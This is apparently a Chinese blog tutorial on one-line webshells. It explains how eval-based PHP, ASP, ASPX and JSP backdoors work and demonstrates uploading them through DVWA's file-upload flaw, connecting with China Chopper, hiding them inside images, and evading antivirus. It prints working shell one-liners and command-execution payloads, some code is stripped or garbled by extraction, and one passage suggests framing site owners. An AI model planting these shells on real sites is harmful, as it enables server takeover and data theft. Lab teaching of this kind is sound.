Web安全:一句话木马

Web安全:一句话木马

2023年7月14日发(作者:)

Web安全:⼀句话⽊马概述在很多的渗透过程中,渗透⼈员会上传⼀句话⽊马(简称Webshell)到⽬前web服务⽬录继⽽提权获取系统权限,不论asp、php、jsp、aspx都是如此,那么⼀句话⽊马到底是什么呢?先来看看最简单的⼀句话⽊马: 【基本原理】利⽤⽂件上传漏洞,往⽬标⽹站中上传⼀句话⽊马,然后你就可以在本地通过中国菜⼑即可获取和控制整个⽹站⽬录。@表⽰后⾯即使执⾏错误,也不报错。eval()函数表⽰括号内的语句字符串什么的全都当做代码执⾏。$_POST['attack']表⽰从页⾯中获得attack这个参数值。⼊侵条件其中,只要攻击者满⾜三个条件,就能实现成功⼊侵:(1)⽊马上传成功,未被杀;(2)知道⽊马的路径在哪;(3)上传的⽊马能正常运⾏。常见形式常见的⼀句话⽊马:php的⼀句话⽊马: asp的⼀句话是: <%eval request ("pass")%>aspx的⼀句话是: <%@ Page Language="Jscript"%> <%eval(["pass"],"unsafe");%>我们可以直接将这些语句插⼊到⽹站上的某个asp/aspx/php⽂件上,或者直接创建⼀个新的⽂件,在⾥⾯写⼊这些语句,然后把⽂件上传到⽹站上即可。基本原理⾸先我们先看⼀个原始⽽⼜简单的php⼀句话⽊马: 1看到这⾥不得不赞美前辈的智慧。对于⼀个稍微懂⼀些php的⼈⽽⾔,或者初级的安全爱好者,或者脚本⼩⼦⽽⾔,看到的第⼀眼就是密码是cmd,通过post提交数据,但是具体如何执⾏的,却不得⽽知,下⾯我们分析⼀句话是如何执⾏的。这句话什么意思呢?(1)php的代码要写在⾥⾯,服务器才能认出来这是php代码,然后才去解析。(2)@符号的意思是不报错,即使执⾏错误,也不报错。为什么呢?因为⼀个变量没有定义,就被拿去使⽤了,服务器就善意的提醒:Notice,你的xxx变量没有定义。这不就暴露了密码吗?所以我们加上@。(3)为什么密码是cmd呢?那就要来理解这句话的意思了。php⾥⾯⼏个超全局变量:$_GET、$_POST就是其中之⼀。$_POST['a']; 的意思就是a这个变量,⽤post的⽅法接收。注释:传输数据的两种⽅法,get、post,post是在消息体存放数据,get是在消息头的url路径⾥存放数据(例如?a=2)(4)如何理解eval()函数?eval()把字符串作为PHP代码执⾏。例如:eval("echo 'a'");其实就等于直接 echo 'a';再来看看⾸先,⽤post⽅式接收变量pw,⽐如接收到了:pw=echo 'a';这时代码就变成。结果如下:连起来意思就是:⽤post⽅法接收变量pw,把变量pw⾥⾯的字符串当做php代码来执⾏。所以也就能这么玩:也就是说,你想执⾏什么代码,就把什么代码放进变量pw⾥,⽤post传输给⼀句话⽊马。你想查看⽬标硬盘⾥有没有⼩黄⽚,可以⽤php函数:opendir()和readdir()等等。想上传点⼩黄⽚,诬陷站主,就⽤php函数:move_uploaded_file,当然相应的html要写好。你想执⾏cmd命令,则⽤exec()。当然前提是:php配置⽂件⾥,关掉安全模式safe_mode = off,然后再看看 禁⽤函数列表 disable_functions = proc_open,popen, exec, system, shell_exec ,把exec去掉,确保没有exec(有些cms为了⽅便处理某些功能,会去掉的)。来看看效果,POST代码如下: cmd=header("Content-type:text/html;charset=gbk"); exec("ipconfig",$out); echo '

';  print_r($out);  echo '
';在这⾥我们可以看到系统直接执⾏了系统命令。SO,⼤家现在应该理解,为什么说⼀句话短⼩精悍了吧!⽊马利⽤以下通过DVWA的⽂件上传漏洞,来看看⼀句话⽊马如何使⽤。关于⽂件上传漏洞可阅读以下⽂章:。中国菜⼑【实验准备】⾸先在本地(桌⾯)保存⼀句话⽊马⽂件(⽤记事本编写后修改⽂件后缀即可): Your image was not uploaded.'; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"; } }>从源码中发现,low级别未对上传的⽂件进⾏任何验证。所以可以直接上传PHP或者ASP⼀句话⽊马,此例采⽤php。(1)我们将准备好的⼀句话⽊马直接上传,然后就可以看到回显的路径:(2)接着就可以⽤菜⼑连接了,菜⼑界⾯右键,然后点击添加。然后填写相关的数据,如下图:“中国菜⼑”页⾯操作说明:1、是连接的URL,就是⽹站的主路径然后加上上传⽂件时回显的保存路径;2、是菜⼑连接时的密码,就是上⾯图⽚⼀句话提交的数据(本例为"pass");3、是⼀句话的解析类型,可以是asp,php,aspx。不同的解析类型的⼀句话内容不⼀样,⽂件后缀名不⼀样。(3)然后可以看连接成功的界⾯:(4)接着双击或者右键“⽂件管理”,进⼊以下界⾯:我们看到了整个⽹站的结构和⽂件,甚⾄是暴漏了我整个电脑主机的磁盘存储!!可以进⾏任意⾮法增删查改!!⽹站(主机)⾄此沦陷……图⽚⽊马⽊马如何才能上传成功?通常防御者都会对类型、⼤⼩、进⾏过滤。另外,若规定是上传的图⽚,还会对图⽚进⾏采集。即使攻击者修改⽂件类型,也过不了图⽚采集那⼀关。所以,这就需要⼀张图⽚来做掩护。做成隐藏在图⽚下的⽊马。linux和windows都有相应的命令,能够让⼀个⽂件融合到另⼀个⽂件后⾯,达到隐藏的⽬的。承接上⾯DVWA实验,High 安全等级,继续先查看源码: Your image was not uploaded.'; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'; } }>可以看到,High级别的代码读取⽂件名中最后⼀个”.”后的字符串,期望通过⽂件名来限制⽂件类型,因此要求上传⽂件名形式必须是“*.jpg”、“.jpeg” 、“*.png”之⼀。同时,getimagesize()函数更是限制了上传⽂件的⽂件头必须为图像类型。我们需要将上传⽂件的⽂件头伪装成图⽚,⾸先利⽤copy命令将⼀句话⽊马⽂件与正常的图⽚⽂件合并:【备注】以下为CMD下⽤copy命令制作“图⽚⽊马”的步骤,其中,/b中“b”表⽰“⼆进制⽂件”,/a中“a"表⽰ASCII码⽂件。⽣成带有⽊马的图⽚⽂件:接着我们打开⽣成的图⽚⽊马⽂件,我们可以看到⼀句话⽊马已附在图⽚⽂件末尾:然后我们试着将⽣成的⽊马图⽚⽂件上传,上传成功访问图⽚⽊马:接下来,上菜⼑但是由于是图⽚⽊马,PHP脚本并⽆法被解析,菜⼑连接⽊马失败:既然图⽚⽊马也⽆法解析,那该怎么办?High级别的程序只允许上传图⽚啊……别慌,此处结合DVWA靶场⾃带的⽂件包含漏洞即可成功上传PHP⽊马并上菜⼑连接了,下⾯进⾏攻击演⽰。⾸先通过上述⽅法制造新的图⽚⽊马,图⽚⽂件后⾯的PHP脚本更改为:'); ?>⾄此,我们成功结合⽂件包含漏洞,在只能上传图⽚的⽂件上传功能处上传图⽚⽊马并⽣成⼀句话⽊马。最后附上⼀篇博⽂,介绍了图⽚⽊马+解析漏洞的利⽤:。⽊马免杀就算⽊马能正常运⾏,那么过段时间会不会被管理员杀掉?如何免杀?上⾯虽然⽊马上传成功了,但是只要管理员⼀杀毒,全部都能杀出来。⽽且,还会很明确的说这是后门。因此,作为攻击者就得会各种免杀技巧。防御者的防御很简单,什么时候哪个论坛爆出新的免杀技巧,安全⼈员⽴马将这玩意⼉放⼊⿊名单,那么这种免杀技巧就失效了。所以,攻击者得不断创新,发明新的免杀技巧。【免杀思路】:1、将源代码进⾏再次编码。2、将那⼀句话⽊马进⾏base64编码,存放在"乱七⼋糟"的代码中,直接看图:3、还是⼀句话⽊马,进⾏变形,只不过,这次的变形是在数组中键值对变形。很强。不得不说,免杀的思路真是越猥琐,越好。研究起来⾮常有意思。以后等我渗透熟练了,会好好研究⼀下PHP代码的各种免杀技巧。很好玩,思路很猥琐。⼩马和⼤马⼩马和⼤马都是⽹页类型中的⼀种后门,是通过⽤来控制⽹站权限的,那最主要的区别就是⼩马是⽤来上传⼤马的。通过⼩马上传⼤马,这时候有个疑问了,那不是多此⼀举了,为什么要⽤⼩马来上传⼤马,⽽⼲嘛不直接上传⼤马⽤好了。其实这⾥是因为⼩马体积⼩,有⽐⼤马更强的隐蔽优势,⽽且有针对⽂件⼤⼩上传限制的漏洞,所以才有⼩马,⼩马也通常⽤来做留备⽤后门等。⽹页⼩马⼩马体积⾮常⼩,只有2KB那么⼤,隐蔽性也⾮常的好,因为⼩马的作⽤很简单,就是⼀个上传功能,就没有其它的了,它的作⽤仅仅是⽤来上传⽂件,所以也能过⼀些安全扫描。⼩马是为了⽅便上传⼤马的,因为很多漏洞做了上传限制,⼤马上传不了,所以就只能先上传⼩马,再接着通过⼩马上传⼤马了。⼩马还可以通过与图⽚合成⼀起通过IIS漏洞来运⾏。Java语⾔编写的后台咱们使⽤JSP⽊马,与前⾯的⼀句话⽊马不同,菜⼑中JSP⽊马较长,以下是⼀个简单的JSP⼩马:<% if("123".equals(ameter("pwd"))){ tream in = time().exec(ameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; ("
");        while((a=(b))!=-1){            n(new String(b));        }        ("
"); }%>成功上传后如果能解析的话,请求:服务器IP:端⼝/Shell/?pwd=123&i=ipconfig 即可执⾏命令。⽹页⼤马⼤马的体积就⽐较⼤了,通常在50K左右,⽐⼩马会⼤好多倍,但对应的功能也很强⼤,包括对数据的管理,命令的操作,数据库的管理,解压缩,和提权等功能,都⾮常强⼤。这种⼤马⼀旦⽹站被种了,⽹站基本就在这个⼤马控制之中。⼤马的隐蔽性不好,因为涉及很多敏感代码,安全类程序很容易扫描到。中国菜⼑的⼀句话不算,菜⼑⼀句话通过客户端来操作也⾮常强⼤,⼀句话的代码可以和⼤马实现的⼀样。我们这⾥说的⼩马和⼤马是指⽹页类型中的,⼩马就是为了配合上传⼤马的,这是它最主要的作⽤,还有就是⼩马可以当做备⽤的后门来使⽤,⼀般⼤马容易被发现,⽽⼩马则更容易隐藏在系统的⽂件夹中。来看看⼀个⼤马利⽤实例:在虚拟机中往DVWA上传PHP⼤马(源码附在最后):访问⽊马⽂件,提交密码123456后进⼊⼤马的功能列表,下图所⽰为⽂件管理功能:继续访问下命令执⾏功能(其他功能不展⽰了):WebShellWebshell就是以asp、php、jsp或者cgi等⽹页⽂件形式存在的⼀种命令执⾏环境,也可以将其称做为⼀种⽹页后门。⿊客在⼊侵了⼀个⽹站后,通常会将asp或php后门⽂件与⽹站服务器WEB⽬录下正常的⽹页⽂件混在⼀起,然后就可以使⽤浏览器来访问asp或者php后门,得到⼀个命令执⾏环境,以达到控制⽹站服务器的⽬的。webshell根据脚本可以分为PHP脚本⽊马,ASP脚本⽊马,也有基于.NET的脚本⽊马和JSP脚本⽊马。在国外,还有⽤python脚本语⾔写的动态⽹页,当然也有与之相关的webshell。 webshell根据功能也分为⼤马、⼩马和⼀句话⽊马,例如:<%eval request(“pass”)%>通常把这句话写⼊⼀个⽂档⾥⾯,然后⽂件名改成。然后传到服务器上⾯。⽤eval⽅法将request(“pass”)转换成代码执⾏,request函数的作⽤是应⽤外部⽂件。这相当于⼀句话⽊马的客户端配置。具体分类如下图:

发布者:admin,转转请注明出处:http://www.yc00.com/news/1689309116a228485.html

相关推荐

发表回复

评论列表(0条)

  • 暂无评论

联系我们

400-800-8888

在线咨询: QQ交谈

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息

关注微信